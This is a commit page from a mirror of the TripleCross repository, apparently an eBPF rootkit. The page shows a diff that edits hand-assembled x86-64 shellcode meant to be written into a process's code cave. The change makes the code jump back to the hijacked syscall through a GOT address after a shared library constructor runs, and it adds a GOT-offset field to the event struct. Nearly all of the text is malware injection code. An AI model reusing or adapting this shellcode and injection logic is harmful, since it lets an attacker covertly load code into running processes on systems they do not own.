mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-25 02:43:07 +08:00
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
This commit is contained in:
@@ -45,8 +45,8 @@
|
||||
"\xbe\x01\x00\x00\x00\x48\x89\xdf\
|
||||
\x48\x81\xec\x00\x10\x00\x00\xff\
|
||||
\xd0\x48\x81\xc4\x00\x10\x00\x00\x5e\
|
||||
\x5f\x5b\x5a\x59\x58\x5d\xc3"
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 32
|
||||
\x5f\x5b\x5a\x59\x58\x5d\xff\x25\x00\x00\x00\x00"
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 37
|
||||
|
||||
|
||||
#endif
|
||||
@@ -21,6 +21,7 @@ struct rb_event {
|
||||
__u64 libc_dlopen_mode_address;
|
||||
__u64 libc_malloc_address;
|
||||
__u64 got_address;
|
||||
__s32 got_offset;
|
||||
int relro_active;
|
||||
event_type_t event_type;
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user